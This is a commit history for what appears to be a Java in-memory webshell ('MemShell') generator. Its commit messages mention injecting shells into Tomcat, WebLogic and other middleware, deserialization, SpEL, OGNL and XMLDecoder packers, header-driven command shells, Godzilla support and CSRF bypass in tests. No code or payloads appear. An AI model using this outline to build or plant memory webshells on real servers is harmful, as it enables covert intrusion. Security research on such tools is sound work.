ReaJason 2fa3310bf8 refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason 47386571d8 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 7e7096f363 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason dc85bd27d6 chore: 2.2.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-11-20 02:27:20 +08:00
ReaJason 75f26e5d38 docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason c4b5b9f2c6 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 17a8f529a0 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason 07b0de017d chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 623d343096 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 5ee604f4a0 feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason a022968965 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason cdb90b6cb1 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fb5b39a4c6 feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason 3838d3d27a build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 5ad7aec805 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason a93da6d0fc chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 4862dd8d2a test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 1ea0351ed0 feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 519d54aea2 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 899f9dd1ab test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 65d9a3c672 feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 6a6e7e1ec7 fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 2d47216a71 test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 65513d9eaa build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 44d087829d feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason fe86bc04c1 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 5c27b8062d test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason e261ec2bd3 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 3b179c10c0 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 0111d50616 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 4563a97ceb perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason eb92c2c4ff build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 7649e1612a build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason aa5683a8d8 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 2620a30a4e feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 761ec7a9e7 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason 33944dfd32 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason dee1c4a5d0 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason a2de3a3808 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason af501ff5a8 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 5c08da5f01 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason 6bdc435df0 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason 059cae27c6 fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason c200140a67 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 2196a4aefb fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason c5a3bd464b chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason f41a0a82b6 test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason 2675991711 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 726a5321db fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason 0c041ee1a9 docs: update CHANGELOG
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Probe IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-09-13 09:12:02 +08:00
ReaJason 378cf22eb2 chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason d112a9abda docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 7fdba6a810 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason b7ede0f745 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason b88332f2a3 style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ba8c5c1524 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 9713ac452e fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 5915b9877b test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 17c54cd919 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 9159de1781 fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason 4cd6d9fb21 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e879002572 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 96503863f4 feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason 3c073b4445 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b357e50303 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason fd6bd7b18c ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason d7f154209d refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c87a68b557 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason f67d6ff79b feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason a0965a95ef fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason cb3914152f fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason a5fb75b3f0 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e986ae8241 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 8eea712f4d fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 7b95367e4e build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason e45b72f6fc chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason a2f7fe9a8e refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason be29e9dcc0 fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason 0626657991 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 477c99e0bc chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason 17dcb183c4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason b08c33135d style: format code (#95)
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8c3fad5c2d feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 02b2288a42 fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans df47f2ed02 feat: support BigInteger packer
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
MemShell IntegrationTest / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-25 19:25:54 +08:00
小晨曦andReaJason 9b10f968dc feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 74b3508985 ci: MemShell IntegrationTest not run when packer changed
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-25 12:18:22 +08:00
ReaJason 4e505d6056 build: add more repositories
Docker Build Test / docker-build-test (push) Has been cancelled
2025-08-22 18:41:48 +08:00
ReaJason 4a4bcdca81 docs: update README 2025-08-22 18:41:02 +08:00
ReaJason ab1d9b2132 ci: skip vul for docker build test
Docker Build Test / docker-build-test (push) Waiting to run
2025-08-21 18:21:05 +08:00
ReaJason 0dec83e529 test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 8dc52e7501 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 34e117c462 ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 4fb95374ad docs: update BuildOnLocal.md
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-08-14 23:16:23 +08:00
ReaJason d7b7f0d23c docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 6a0f1cf299 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason 70ae4180f2 fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 07c612ee44 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 46153de471 ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason 8cbc33066d ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 1e615df9e0 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason a37949e8cc fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 2333711a0f fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 8b27536d80 docs: update README
Test / UniteTest (push) Waiting to run
Test / docker-build-test (push) Waiting to run
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Blocked by required conditions
2025-08-14 00:56:56 +08:00
ReaJason 0a46ebc21e ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason 23997ad5c9 ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason 696abcdfef fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason 6388b2b2bf ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason 44f18f7d21 chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 77cd746154 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 948a6699fb test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason 033c4071cc docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 0cdb94387b feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason 31f5c824db ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 63310043e6 fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 4ab08270d3 feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason e1e5a96283 feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason 7ce71856d3 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason cf05f5f79e docs: update README 2025-08-13 23:53:40 +08:00
ReaJason f342b924f5 fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 866f203ac5 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason d4929f22f3 test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason c2088f477a fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 829b0e8be7 refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 3a10568346 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 975f25534b build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason cf3fa2b18f build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason b2c614eea4 refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason a513e44c96 fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 6e021bef9f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 04e46e12ca fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 13be57e66d feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 6a4c5a1e96 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason b96276ee54 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 82cdbab634 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 4a6577012b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 346e518913 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 6f9ae38add feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason d8851ba83e refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 89ee25fd1a fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason ec9aa97c83 fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason 22f365b3a0 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 52f235cbaf chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d33323cfda chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 4decc08ddc fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 38219261a3 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason b3fef201f7 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason 642a84d711 refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason c74856f3ee chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 19b385478b test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason ab1a214d28 refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason db96872fa4 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason bb4bcb956c fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason 4eff36571c fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 53849f17fe fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 14dbbd9f9e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 60b36f926c build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason a1fec396ba refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason 2f8ab27ee2 build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
